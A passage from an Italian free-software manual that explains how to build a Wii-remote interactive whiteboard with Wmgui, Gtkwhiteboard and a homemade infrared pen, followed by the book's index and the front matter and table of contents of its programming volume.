L'uso di Wminput non viene qui approfondito, ma va tenuto presente che se si intende utilizzarlo occorre documentarsi bene e sperimentare a lungo ciò a cui si è interessati; inoltre, va tenuto conto che questo programma, se lasciato in funzione, interferisce con programmi come Gtkwhiteboard, creando complicazioni ulteriori.

71.5 Wmgui

In un sistema GNU/Linux, il programma grafico Wmgui[2] è un monitor del funzionamento di un telecomando Wii; in modo particolare consente di individuare l'inquadratura della telecamera a raggi infrarossi. Wmgui non ha bisogno del modulo del kernel '**uinput**' e non ha bisogno di privilegi particolari per poter funzionare.

`$` **`wmgui`** [*Invio*]

Figura 71.11. Wmgui in funzione.

Dal menù *`File`* si deve selezionare la voce *`Connect`*, per connettere il programma al dispositivo Wii, sul quale occorre premere simultaneamente i bottoni 1 e 2.

Figura 71.12. Menù di Wmgui: connessione.

Wmgui interagisce con il telecomando Wii in base a ciò che viene selezionato nel menù `Settings`. Per esempio, per verificare l'inquadratura della telecamera a infrarossi, occorre abilitare la voce `IR Data`.

Figura 71.13. Menù di Wmgui: impostazione.

Quando è attiva la voce `IR Data`, è possibile, con l'aiuto di una penna a infrarossi, verificare il campo inquadrato dalla telecamera, osservando il punto che appare nel riquadro rettangolare, contrassegnato dalla sigla «IR» (*infrared*). Quando si vuole usare il Wiimote con un programma come Gtkwhiteboard, per piazzare e orientare correttamente il Wiimote è necessario avvalersi proprio di Wmgui in questo modo.

Quando si chiude correttamente il funzionamento di Wmgui, la connessione Bluetooth con il Wiimote viene conclusa regolarmente, senza bisogno di intervenire sul bottone di spegnimento del dispositivo. Eventualmente, la chiusura della connessione la si può richiedere espressamente con la voce `Disconnect` del menù `File`.

71.6 Penna a infrarossi

La modalità di utilizzo più semplice del Wiimote, per la gestione di una lavagna interattiva, è quella che sfrutta la telecamera a infrarossi, lasciando il dispositivo in una posizione fissa a inquadrare la superficie dello schermo di proiezione. In questo modo, il Wiimote registra il movimento di un segnale a infrarossi, generato da una «penna», avente sulla sommità un diodo LED a infrarossi. Di solito, questa penna deve essere realizzata artigianalmente.

Figura 71.14. Schema della penna a infrarossi.

Nella schema appena mostrato si intende usare una pila stilo da 1,5 V e un LED a infrarossi da 100 mA. Dal momento che ai capi del LED può formarsi una differenza di potenziale che va da 1,3 V a 1,4 V, la resistenza che controlla il flusso di corrente va da 2 ohm a 1 ohm rispettivamente. Per essere sicuri è necessario provare con uno strumento di misura preciso[3] il flusso di corrente con una resistenza da 2 ohm: tenendo conto che lo strumento introduce una piccola resistenza, se il flusso di corrente misurato risulta molto inferiore a 50 mA, si può tentare di usare una resistenza da 1 ohm (sperando di non bruciare il LED).

Per verificare il funzionamento della penna, dal momento che la radiazione infrarossa emessa dal LED non è visibile dall'occhio umano, ci si può avvalere di una fotocamera digitale, la quale invece evidenzia tale emissione.

Figura 71.15. L'emissione a infrarossi è visibile con l'ausilio di una fotocamera digitale.

Figura 71.16. Penne a infrarossi fatte in casa.

71.7 Inquadratura dello schermo

Se si intende usare il Wiimote per inquadrare la superficie di uno schermo, per renderlo interattivo attraverso una penna a infrarossi, è necessario collocare il dispositivo alla distanza giusta, orientandolo nel modo più appropriato. Lo schermo che diventa interattivo può essere qualunque cosa sia in grado di visualizzare ciò che appare o apparirebbe sul terminale grafico: generalmente si tratta di un pannello o di un telo sul quale si proietta questa immagine.

Considerando che il caso della proiezione sia quella più comune, ci sono due possibilità per collocare il Wiimote: vicino al proiettore stesso, oppure in una posizione obliqua, come si vede nella figura successiva.

Figura 71.17. Inquadrature.

Quando si inquadra lo schermo con il Wiimote in modo perpendicolare, o quasi, come nella parte sinistra dello schema mostrato nella figura, la penna a infrarossi deve essere usata in modo obliquo, altrimenti il Wiimote non è in grado di leggere la luce a infrarosso emessa dalla punta appoggiata sulla superficie dello schermo. Quando invece l'inquadratura è diagonale, la penna deve essere usata in modo quasi perpendicolare sullo schermo.

Figura 71.18. Indicativamente, il rapporto tra la distanza del Wiimote dalla superficie inquadrata e la larghezza di tale superficie è di 1,25 (la larghezza inquadrata è il 125 % della distanza); inoltre, la superficie inquadrata è un rettangolo con rapporto 4/3.

$$D = 1{,}25 * L$$
$$H = L / 4 * 3$$
$$D = 1{,}67 * H$$
$$L = 0{,}8 * D$$
$$H = 0{,}6 * D$$

Ogni inquadratura ha vantaggi e svantaggi che si possono intuire facilmente. Di sicuro, se il

proiettore è mobile, è necessario fissare il Wiimote sullo stesso, dopo aver verificato qual è lo zoom ottimale del proiettore per fare in modo che questo sia compatibile con l'inquadratura fissa del Wiimote.

Va osservato che l'inquadratura del Wiimote deve essere leggermente più ampia di quella dell'immagine proiettata, facendo attenzione però a non esagerare, perché la risoluzione della telecamera a infrarossi è di soli 1024×768 punti, e non si può sprecare inutilmente.

Per fissare e orientare il Wiimote, è necessario un programma come Wmgui, in modo da riuscire a delimitare la superficie inquadrata dalla telecamera a infrarossi.

Figura 71.19. Fissaggio di fortuna del Wiimote sul proiettore.

71.8 Gtkwhiteboard

In un sistema GNU/Linux, il programma grafico Gtkwhiteboard[4] consente di utilizzare un telecomando Wii al posto del mouse, sfruttando la telecamera a infrarossi.

$ **gtkwhiteboard** [*Invio*]

Figura 71.20. Gtkwhiteboard, evidenziando la configurazione di funzionamento proposta.

Touchpad Mode
Enable 'Side click'
Left side
Zones 1
Scroll
Right side
Zones 1
Right Click
Start Stop Pause Calibrate
Calibrate on Start Save options on exit
Not Running Disconnected

Nella figura si vede che risulta attiva la funzione `Side click`. In tal modo, è possibile individuare fino a sei aree, in cui fare un «clic» con la penna a infrarossi, esterne allo schermo usato per la proiezione, per ottenere delle funzioni speciali.

Figura 71.21. Le aree esterne alla zona circoscritta dalla proiezione.

due zone esterne,
una a sinistra e una a destra
1 *superficie di proiezione* 1

quattro zone esterne,
due a sinistra e due a destra
1 *superficie di proiezione* 1
2 2

quattro zone esterne,
tre a sinistra e tre a destra
1 *superficie di proiezione* 1
2 2
3 3

Per attivare il collegamento tra Gtkwhiteboard e il telecomando Wii, occorre selezionare il bottone grafico [START] e premere simultaneamente i bottoni [1] e [2] sul Wiimote.

Figura 71.22. Gtkwhiteboard in attesa di individuare il dispositivo Wiimote.

Quando il Wiimote viene individuato, viene richiesto di fare «clic» con la penna a infrarossi, sugli angoli della proiezione; questa operazione corrisponde alla ***calibratura***.

A differenza di altri programmi simili, Gtkwhiteboard non mostra dei riferimenti sullo schermo, ma chiede semplicemente di fare un clic sull'angolo superiore sinistro, poi su quello superiore destro, poi su quello inferiore sinistro e infine su quello inferiore destro. Questa modalità si giustifica per poter conoscere esattamente i bordi dello schermo, allo scopo di poter sfruttare il bordo esterno, ammesso che sia inquadrato dal Wiimote, per delle funzioni speciali.

Figura 71.23. Calibratura dello schermo.

Al termine della calibratura è possibile usare la penna a infrarossi come se fosse un mouse, con il quale si può fare solo il clic con il tasto sinistro, senza poter trasmettere l'informazione

sul movimento del puntatore, quando non si preme alcunché.

Al termine dell'utilizzo, si deve selezionare il bottone STOP, con cui viene anche spento il Wiimote.

71.9 WiimoteWhiteboard

In un sistema MS-Windows, il programma grafico WiimoteWhiteboard[5] consente di utilizzare un telecomando Wii al posto del mouse, sfruttando la telecamera a infrarossi. A differenza di quanto avviene in un sistema GNU/Linux, la connessione con il Wiimote deve essere effettuata prima di avviare il programma, attraverso gli strumenti software dell'adattatore Bluetooth.

Figura 71.24. WiimoteWhiteboard.

Nella modalità di funzionamento evidenziata dalla figura appena apparsa, quando si seleziona la voce CALIBRATE LOCATION, oppure si preme il bottone A sul Wiimote, vengono mostrati dei «mirini» sullo schermo, al centro dei quali è necessario fare clic con la penna a infrarossi.

Figura 71.25. Calibratura dello schermo.

71.10 Uniboard (non libero)

In un sistema MS-Windows o in un sistema MacOSX, il programma Uniboard[6] consente di utilizzare lo schermo come se fosse una lavagna, permettendo di sfruttare efficacemente un sistema di interazione tattile o a penna, come quello che si basa sul telecomando Wii. Se si vuole usare Uniboard con il telecomando Wii, occorre prima provvedere alla sua connessione e alla calibrazione dello schermo.

Figura 71.26. Uniboard, all'avvio.

Figura 71.27. Lo sfondo della lavagna può essere quadrettato.

Figura 71.28. Selezionando la funzione `Documents` il programma mostra le miniature delle pagine preparate e consente di salvare il lavoro attraverso la funzione di esportazione.

Figura 71.29. Il programma può essere «nascosto», in modo da consentire l'uso di altri programmi, oppure può essere arrestato, attraverso la funzione `Uniboard` che appare alla destra del menù superiore.

Il formato nativo con cui Uniboard può salvare i disegni realizzati è rappresentato in pratica da

un archivio ZIP, contenente dei file, a loro volta in formati grafici comuni. Tuttavia è possibile salvare il proprio lavoro in formato PDF, risolvendo qualunque problema di compatibilità.

71.11 Riferimenti

- Componenti per lavagna interattiva
  ⟨*http://www.proteons.com/* ⟩
  ⟨*http://www.irpens.co.uk/* ⟩
- Liceo Ricci Curbastro, *Wiimote per lavagne interattive*, Lugo
  ⟨*http://liceoriccicurbastro.myblog.it/lavagna-interattiva-wii/* ⟩
- Italian Linux Society, *Adotta una WiiLD*
  ⟨*http://www.linux.it/WiiLD* ⟩
- *WiiLavagnaDigitale*
  ⟨*http://sites.google.com/site/wiilavagnadigitale/* ⟩
- *Gtkwhiteboard*
  ⟨*http://www.stepd.ca/gtkwhiteboard/* ⟩
- Johnny Chung Lee, *WiimoteWhiteboard*
  ⟨*http://johnnylee.net/projects/wii/* ⟩
- *Ardesia*
  ⟨*http://code.google.com/p/ardesia/* ⟩
- *Uniboard*
  ⟨*http://getuniboard.com* ⟩

[1] **Wminput** GNU GPL

[2] **Wmgui** GNU GPL

[3] È preferibile uno strumento di tipo galvanometrico, a lancetta, piuttosto di uno digitale

[4] **Gtkwhiteboard** GNU GPL e MIT

[5] **WiimoteWhiteboard** varie, tra cui Microsoft Permissive License (Ms-PL)

[6] **Uniboard** software proprietario disponibile in versione gratuita

Indice analitico del volume

.dictrc 3197 .html2psrc 3823 .htmldocrc 3842 .textchk.rules 3189 .textchk.special 3189 1fil 3276 1fill 3276 1filll 3276 abc2ly 3967 accento 3291 Amaya 3836 ambiente matematico 3344 array 3483 ascii 3164 ASCII 3151 ASP 3524 Aspell 3184 attributo 3500 *back cover page* 3115 Barcode 3984 Bluetooth 4071 4072 buildhash 3182 carattere da stampa 3290 3405 carattere speciale 3291 center 3414 chapter 3387 Code 128 3980 Code 39 3978 Code 39 esteso 3979 Code 3 of 9 3978 *code point* 3141 *code unit* 3143 codice a barre 3971 3984 codifica 3141 colofone 3115 *colophon* 3115 convert-ly 3967 copertina 3115 costola 3115 CP 437 3156 CP 850 3156 CSS 3768 3863 DebianDoc 3683 debiandoc2* 3701 Denemo 3967 Dict 3197 dict.conf 3197 3197 Dictd 3193 DIN 476 3105 displaymath 3470 dizionario 3193 DocBook 3705 document 3376 dorso 3115 DTD 3494 3601 dtd2html 3549 dtddiff 3549 EAN 3974 EAN-13 3972 EAN-8 3972 editoria elettronica 3101 3135 entità generale 3502 entità parametrica 3502 enumerate 3416 enumi 3416 enumii 3416 enumiii 3416 enumiv 3416 equation 3387 3470 etf2ly 3967 *european article number* 3974 figure 3387 3425 3425 flushleft 3414 flushright 3414 footnote 3387 3405 FOP 3596 frontespizio 3115 *front cover page* 3115 funzione 3357 Gettext 3192 Gtkwhiteboard 4080 Gucharmap 3168 HTML 3742 3755 3841 3863 HTML2ps 3823 html2psrc 3823 HTMLDOC 3841 Hunspell 3185 i25 3984 IBM CP 437 3156 IBM CP 850 3156 Iconv 3173 interfogliata due su cinque 3984 Interleaved two of five 3984 ISBN 3976 ISO 10646 3141 3147 ISO 15445 3742 3755 ISO 216 3105 ISO 646 3151 ISO 8859 3154 ISO Latin 3154 Ispell 3178 ISSN 3977 itemize 3416 ITF 3984 JavaScript 3779 LaTeX 3367 lettera circolare 4059 LinuxDoc 3683 list 3416 longtable 3462 lrbox 3437 luit 3175 makeindex 3445 *markup* 3136 math 3470 minimizzazione 3496 modalità orizzontale 3286 modalità verticale 3286 modello del contenuto 3497 motore di ricerca 3856 munchlist 3182 mup2ly 3967 musedata2ly 3967 nsgmls 3525 oggetto fluttuante 3425 page 3387 3404 pagina 3300 paragraph 3387 part 3387 PassiveTeX 3674 3717 perlSGML 3549 picture 3464 pmx2ly 3967 PostScript 3203 prima di copertina 3115 punto di codifica 3141 3145 quarta di copertina 3115 quotation 3422 quote 3422 Qwertz 3683 raggruppamento 3271 Recode 3171 riferimento 3439 robot 3856 robots.txt 3858 seconda di copertina 3115 section 3387 Serpento 3193 sezione marcata 3505 SGML 3135 3493 Sgmls 3528 sgmlsasp 3528 sgmlspl 3530 SGMLSpm 3524 SGMLtools 3683 SI 3125 Sistema internazionale di unità 3125 SP 3524 3525 stampa in serie 4059 stampa unione 4059 struttura di controllo 3287 subparagraph 3387 subsection 3387 subsubsection 3387 tabbing 3451 tabella 3334 3451 table 3387 3425 3425 tabular 3456 TEI 3717 telecomando Wii 4075 terza di copertina 3115 teTeX 3258 TeX 3258 texconfig 3259 textchk.rules 3189 thebibliography 3449 traduttore 3193 UCC 3974 UCC/EAN 128 3983 Uniboard 4084 Unicode 3141 3147 unicode 3166 *uniform code council* 3974 unità di codifica 3143 3146 Uni 6015 3120 UNI 936 3105 UPC-A 3972 UPC-E 3972 URI 3737 URL 3737 URN 3737 USS Code 128 3980 US-ASCII 3151 UTF-8 3148 verbatim 3424 verse 3423 vocabolario 3193 *wide char* 3151 *wide string* 3151 Wiimote 4075 WiimoteWhiteboard 4083 wmgui 4076 wminput 4075 Xalan 3574 3588 3717 XML 3565 XMLTeX 3674 3717 XPath 3574 XSL 3574 3596 3631 3645 3671 xsl:apply-templates 3578 xsl:attribute 3586 xsl:comment 3587 xsl:element 3586 xsl:output 3583 xsl:processing-instruction 3587 xsl:stylesheet 3577 xsl:template 3578 xsl:text 3584 xsl:transform 3577 xsl:value-of 3585 XSLT 3574 3671 XSL-FO 3596 3601 3631 3645 3671 & 3334 3456 ^ 3355 3481 \(3470 \) 3470 \+ 3334 \= 3451 \above 3354

3481 \addcontentsline 3440 \addtocontents 3440 \addtocounter 3387 \addtolength 3386 \addvspace 3429 \advance 3277 \alph 3387 \Alph 3387 \appendix 3376 3394 \arabic 3387 \atop 3354 3481 \author 3376 3393 \baselineskip 3306 3320 3414 \begin{document} 3393 \bf 3294 \bfseries 3408 \bgroup 3271 \bibitem 3449 \Big 3479 \big 3479 \bigg 3479 \Bigg 3479 \biggl 3359 3479 \Biggl 3359 3479 \Biggr 3359 3479 \biggr 3359 3479 \bigl 3359 3479 \Bigl 3359 3479 \Bigr 3359 3479 \bigr 3359 3479 \bigskip 3317 3429 \bigskipamount 3317 3429 \break 3300 3320 \bye 3269 \caption 3425 \centerline 3414 \chapter 3376 3394 \choose 3354 3481 \circle 3464 \cite 3449 \cleaders 3325 \cleardoublepage 3399 3425 \clearpage 3399 3425 \cline 3456 \closeout 3490 \colon 3353 \columns 3334 \countdef 3274 \cr 3334 \dashbox 3464 \date 3376 3393 \def 3282 \displaylines 3360 \displaystyle 3352 3480 \divide 3277 \documentclass 3376 3391 \dotfill 3325 3428 \doublespacing 3432 \egroup 3271 \eject 3300 \emph 3411 \end 3300 \endfoot 3462 \endhead 3462 \endinsert 3305 \end{document} 3393 \enskip 3323 \enspace 3323 \epsfig 3468 \eqalign 3363 \eqalignno 3363 \eqno 3363 \evensidemargin 3398 \everydisplay 3346 \everymath 3346 \expandafter 3281 \fbox 3412 3433 \fboxrule 3433 \fboxsep 3433 \flushbottom 3399 \fnsymbol 3387 \folio 3304 \font 3294 \fontencoding 3411 \fontfamily 3411 \fontseries 3411 \fontshape 3411 \fontsize 3408 3411 \footline 3303 \footnote 3304 3405 \footnotemark 3405 \footnotesize 3407 \footnotetext 3405 \footskip 3398 \frac 3481 \frame 3412 3464 \framebox 3433 \frenchspacing 3309 3384 3385 \global 3280 \halign 3339 \hangafter 3310 \hangindent 3310 \hbadness 3315 \hbox 3328 \headheight 3398 \headline 3303 \headsep 3398 \hfil 3303 3320 \hfill 3320 3428 \hfilll 3320 \hfuzz 3315 \hline 3334 3456 3483 \hoffset 3300 3306 3398 \hrulefill 3325 3428 \hsize 3300 3306 \hskip 3323 \hspace 3428 \hss 3323 \Huge 3407 \huge 3407 \hyphenation 3405 \ifhmode 3288 \ifmmode 3288 \ifnum 3288 \ifodd 3287 \ifvmode 3288 \immediate 3490 \include 3489 \includegraphics 3468 \includeonly 3489 \indent 3414 \index 3445 \input 3273 3489 \it 3294 \item 3312 3416 \itemsep 3416 \itshape 3408 \jobname 3490 \kern 3325 \kill 3451 \label 3443 \labelitemi 3416 \labelitemii 3416 \labelitemiii 3416 \labelitemiv 3416 \Large 3407 \LARGE 3407 \large 3407 \leaders 3325 \leavevmode 3325 \leftarrowfill 3325 \leftline 3320 \leftskip 3306 3414 \leqalignno 3363 \leqno 3363 \let 3285 \line 3320 3464 \linebreak 3399 \lineskip 3320 \lineskiplimit 3320 \linespread 3432 \linethickness 3464 \linewidth 3414 \listoffigures 3425 3440 \listoftables 3425 3440 \llap 3328 \lower 3320 \lowercase 3274 \lq 3293 \magnification 3300 \magstep 3294 \makebox 3433 3464 \makeindex 3445 \maketitle 3376 3393 \markboth 3403 \markright 3403 \mathbf 3408 \mathcal 3408 \mathit 3408 \mathrm 3408 \mathsf 3408 \mathstrut 3328 \mathtt 3408 \matrix 3360 \mbox 3405 3433 \medskip 3317 3429 \medskipamount 3317 3429 \midinsert 3305 \minipage 3433 \mit 3346 \moveleft 3332 \moveright 3332 3334 \multiply 3277 \multispan 3339 \narrower 3306 \negthinspace 3323 \newcommand 3380 \newcount 3274 \newcounter 3387 \newdimen 3275 \newenvironment 3380 \newlength 3386 \newline 3399 \newpage 3399 \newskip 3276 \newtheorem 3485 \newtoks 3273 \newwrite 3490 \noalign 3339 \noindent 3306 3414 \nonfrenchspacing 3309 \nopagebreak 3399 \nopagenumbers 3303 \normalbottom 3300 \normalfont 3408 \normalsize 3407 \null 3328

\number 3279 \numberline 3440 \oddsidemargin 3398 \of 3356 \offinterlineskip 3339 \omit 3339 \onecolumn 3399 \onehalfspacing 3432 \openout 3490 \oval 3464 \over 3354 3481 \overbrace 3479 \overfullrule 3315 \overline 3356 3412 3479 \pagebreak 3399 \pageinsert 3305 \pageno 3303 3304 \pagenumbering 3404 \pageref 3443 \pagestyle 3403 \paperheight 3398 \paperwidth 3398 \par 3269 3306 3414 \paragraph 3376 3394 \parbox 3433 3451 \parindent 3306 3414 \parshape 3310 \parskip 3306 3317 3414 \part 3376 3394 \pmatrix 3360 \poptabs 3451 \printindex 3445 \proclaim 3362 \pushtabs 3451 \put 3464 \qquad 3323 \quad 3323 \raggedbottom 3300 3399 \raggedleft 3414 \raggedright 3306 3414 \raise 3320 \raisebox 3413 \ref 3443 \refstepcounter 3387 \relax 3287 \renewcommand 3380 \renewenvironment 3380 \rightarrowfill 3325 \rightline 3320 \rightskip 3306 3414 \rlap 3328 \rm 3294 \rmfamily 3408 \Roman 3387 \roman 3387 \romannumeral 3279 \root 3356 \rq 3293 \rule 3437 \samepage 3399 \scriptscriptstyle 3352 3480 \scriptsize 3407 \scriptstyle 3352 3480 \scshape 3408 \section 3376 3394 \selectfont 3408 3411 \setcounter 3387 \setlength 3386 \settabs 3334 \settodepth 3386 \settoheight 3386 \settowidth 3386 \sffamily 3408 \singlespacing 3432 \sl 3294 \slshape 3408 \small 3407 \smallskip 3317 3429 \smallskipamount 3317 3429 \sqrt 3356 3481 \stackrel 3481 \stepcounter 3387 \stretch 3431 \string 3490 \strut 3328 3334 3352 \subparagraph 3376 3394 \subsection 3376 3394 \subsubsection 3376 \supereject 3300 \tableofcontents 3376 3393 3440 \textasciicircum 3406 \textasciitilde 3406 \textbackslash 3406 \textbf 3408 \textheight 3398 \textit 3408 \textnormal 3408 \textrm 3408 \textsc 3408 3408 \textsf 3408 \textsl 3408 \textstyle 3352 3480 \texttt 3408 \textup 3408 \textwidth 3398 \thanks 3393 \the 3273 3279 3386 3387 \theenumi 3416 \theenumii 3416 \theenumiii 3416 \theenumiv 3416 \thinspace 3323 \thispagestyle 3403 \tiny 3407 \title 3376 3393 \tolerance 3315 \topinsert 3305 \topmargin 3398 \tt 3294 \ttfamily 3408 \twocolumn 3399 \underbar 3299 \underbrace 3479 \underline 3328 3356 3412 3479 \unitlength 3464 \uppercase 3274 \upshape 3408 \usebox 3437 \usefont 3411 \usepackage 3376 \usepackage{float} 3425 \usepackage{latexsym} 3473 \usepackage{longtable} 3462 \usepackage{makeidx} 3445 \usepackage{setspace} 3432 \usepackage{verbatim} 3489 \usepackage[italian]{babel} 3383 3385 \usepackage[T1]{fontenc} 3384 3385 \usepackage[utf8x]{inputenc} 3384 3385 \value 3387 \vbadness 3315 \vbox 3328 \vcenter 3328 \vector 3464 \verb 3424 \verbatiminput 3489 \vfil 3317 \vfill 3300 3317 3399 3429 \vfuzz 3315 \vglue 3317 \voffset 3300 3398 \vrule 3339 \vsize 3300 \vskip 3317 \vspace 3429 \vss 3317 \vtop 3328 \write 3490 \xleaders 3325 \# 3406 \& 3406 \\ 3451 3456 \{ 3406 \} 3406 \$ 3406 _ 3406 \> 3451 \[3470 \% 3406 \] 3470 $ 3470 $DICTIONARY 3178 $SGML_CATALOG_FILES 3525 3526 $SGML_SEARCH_PATH 3525 3526 $TEXEDIT 3266 $$ 3470 _ 3355 3481

«a2» 2010.10.10

Volume V

Programmazione

```
$ cc -Wall -o prog prog.c
$ ./prog
```

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

La diffusione dell'opera, da parte dell'autore originale, avviene gratuitamente, senza alcun fine di lucro. **L'autore rinuncia espressamente a qualunque beneficio economico**, sia dalla riproduzione stampata a pagamento, sia da qualunque altra forma di servizio, basato sull'opera, ma offerto a titolo oneroso, sia da pubblicità inserita eventualmente nell'opera stessa o come cornice alla sua fruizione.

L'opera, nei file sorgenti e nella composizione finale, include degli esempi in forma di sequenze animate, contenenti eventualmente anche delle spiegazioni vocali. Si tratta di video brevi e di qualità molto bassa. Tuttavia, a seconda di come viene diffusa o fruita l'opera, può darsi che sia necessario assolvere a degli obblighi di legge.

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Parte i Dall’hardware al C 4095
72 Logica e circuiti logici 4099
73 Algoritmi e notazioni 4113
74 Linguaggio macchina 4165
75 Microprocessori x86-32 4213
76 Compilazione e formato binario eseguibile 4345
77 Introduzione al linguaggio C 4433
78 Gestione dei flussi di file in C 4581
Esempi di programmazione in C 4609
79 Introduzione alle estensioni POSIX 4631
80 Libreria C, con qualche estensione POSIX 4715
81 Libreria POSIX 4859
Tabelle riepilogative della libreria C e POSIX 4885
82 Gettext 4925
Parte ii COBOL 4935
83 Manuale COBOL 4937
84 Programmare in COBOL 5085
Parte iii Basi di dati 5163
85 DBMS e SQL 5165
86 PostgreSQL 5215
87 MySQL 5283
88 SQLite 5303
89 ODBC 5315
90 SQL: lezioni pratiche e verifiche 5323
Parte iv Corso basilare di programmazione 5407
Introduzione 5409
91 Dai sistemi di numerazione all’organizzazione della memoria 5417
92 Nozioni minime sul linguaggio C 5475
93 Puntatori, array e stringhe in C 5539
Indice analitico del volume 5579

Parte i

Dall'hardware al C

72 Logica e circuiti logici 4099

72.1 Operatori logici e circuiti elementari 4099
72.2 Circuiti logici complessi 4102
72.3 Addizionatore 4104
72.4 Riferimenti 4111

73 Algoritmi e notazioni 4113

73.1 Notazione BNF 4114
73.2 Pseudocodifica 4116
73.3 Problemi elementari di programmazione 4117
73.4 Scansione di array 4125
73.5 Problemi classici di programmazione 4127
73.6 Gestione dei file 4137
73.7 Trasformazione in lettere 4145
73.8 Algoritmi elementari con la shell POSIX 4154
73.9 Riferimenti 4164

74 Linguaggio macchina 4165

74.1 Organizzazione della memoria 4166
74.2 Architettura, linguaggio, contesto virtuale, terminologia 4181
74.3 Rappresentazione di valori numerici 4186
74.4 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori 4193
74.5 Scorrimenti, rotazioni, operazioni logiche 4203
74.6 Confronti attraverso la sottrazione 4209
74.7 Riferimenti 4212

75 Microprocessori x86-32 4213

75.1 Terminologia impropria 4215
75.2 Registri principali fino ai 32 bit 4216
75.3 Sintesi delle istruzioni principali 4217
75.4 Primo approccio al linguaggio assemblatore per x86 4226
75.5 Esempi con le «quattro operazioni» 4245
75.6 Esempi con gli «spostamenti» 4264
75.7 Esempi con i confronti 4273
75.8 Le istruzioni di salto 4278

75.9 Esempi di programmi con strutture di controllo 4282
75.10 Funzioni 4293
75.11 Esempi di funzioni ricorsive 4308
75.12 Indirizzamento dei dati 4314
75.13 Rappresentazione dei dati in memoria attraverso un esempio 4320
75.14 Esempi con gli array 4324
75.15 Calcoli con gli indirizzi in fase di compilazione 4333
75.16 Interazione con il sistema operativo 4336
75.17 Riferimenti 4342

76 Compilazione e formato binario eseguibile 4345

76.1 Compilazione di programmi composti da più file sorgenti 4346
76.2 Librerie dinamiche e librerie statiche 4352
76.3 Dal sorgente all'immagine in memoria 4361
76.4 Formato ELF 4373
76.5 Programmi completamente autonomi 4383
76.6 Compilazione C dal basso in alto 4397
76.7 Compilazione C dall'alto in basso 4406
76.8 Compilazione guidata con Make 4414
76.9 Riferimenti 4430

77 Introduzione al linguaggio C 4433

77.1 Nozioni minime 4436
77.2 Istruzioni del precompilatore 4469
77.3 Dal campo di azione alla compilazione 4485
77.4 Annotazioni sulla terminologia 4496
77.5 Puntatori, array, stringhe e allocazione dinamica della memoria 4499
77.6 Le funzioni 4535
77.7 Struttura, unione, campo, enumerazione, costante composta 4542
77.8 Tipi di dati speciali, di uso comune 4556
77.9 Configurazione locale 4562
77.10 Organizzazione dei file sorgenti 4568
77.11 K&R 4573
77.12 Riferimenti 4577

78 Gestione dei flussi di file in C 4581

78.1 Concetti generali 4581
78.2 Utilizzo comune dei file 4586
78.3 Conversione di input e output 4597
78.4 Riferimenti 4608

Esempi di programmazione in C 4609
Problemi elementari 4609
Scansione di array 4619
Algoritmi tradizionali 4623
79 Introduzione alle estensioni POSIX 4631
79.1 Dal C a POSIX 4633
79.2 Espressioni regolari POSIX 4635
79.3 Avvio e conclusione dei processi 4648
79.4 Nozioni sui thread POSIX 4656
79.5 I file secondo i sistemi POSIX 4672
79.6 Il file system Unix e la sua gestione tipica 4681
79.7 Il file system Minix 1 4689
79.8 Creazione ed eliminazione di file di qualunque tipo 4696
79.9 Condotti 4703
79.10 Lettura delle directory 4711
79.11 Riferimenti 4713
80 Libreria C, con qualche estensione POSIX 4715
80.1 Funzionalità di libreria non dichiarate 4722
80.2 File «assert.h» 4722
80.3 File «limits.h» 4723
80.4 File «stdint.h» 4726
80.5 File «errno.h» 4733
80.6 File «locale.h» 4735
80.7 File «ctype.h» 4740
80.8 File «stdarg.h» 4752
80.9 File «stdlib.h» 4754
80.10 File «inttypes.h» 4771
80.11 File «iso646.h» 4778
80.12 File «stdbool.h» 4779
80.13 File «stddef.h» 4779
80.14 File «string.h» 4780
80.15 File «signal.h» 4814
80.16 File «time.h» 4823
80.17 File «stdio.h» 4832
80.18 Riferimenti 4857
81 Libreria POSIX 4859
81.1 File «sys/types.h» 4861

81.2 File «sys/stat.h» 4863
81.3 File «strings.h» 4866
81.4 File «fcntl.h» 4867
81.5 File «unistd.h» 4871
81.6 File «dirent.h» 4879
81.7 File «termios.h» 4881
81.8 Riferimenti 4884

Tabelle riepilogative della libreria C e POSIX 4885

File «stdarg.h» 4887
File «limits.h» 4888
File «stdint.h»
4889
File «inttypes.h»
4891
File «ctype.h» 4895
File «stdlib.h» 4897
File «string.h» 4900
File «time.h» 4902
File «stdio.h» per la gestione dei file e degli errori
4905
File «stdio.h» per la composizione dell'output 4911
File «stdio.h» per l'interpretazione dell'input 4914
File «assert.h» 4917
File «stddef.h» 4917
File «locale.h» 4918
File «regex.h» 4918
File «sys/stat.h» 4920

82 Gettext 4925

82.1 Principio di funzionamento 4925
82.2 Fasi di preparazione 4925
82.3 Abbinamento a un «pacchetto» 4927
82.4 Creazione e mantenimento dei file PO 4928
82.5 Gettext con i programmi Perl 4929

Capitolo 72

Logica e circuiti logici

72.1 Operatori logici e circuiti elementari 4099
72.2 Circuiti logici complessi 4102
72.2.1 Scatole nere con un ingresso e una uscita 4103
72.2.2 Scatole nere con due ingressi e una uscita 4104
72.3 Addizionatore 4104
72.3.1 Circuito semiaddizionatore 4104
72.3.2 Circuiti equivalenti del semiaddizionatore 4105
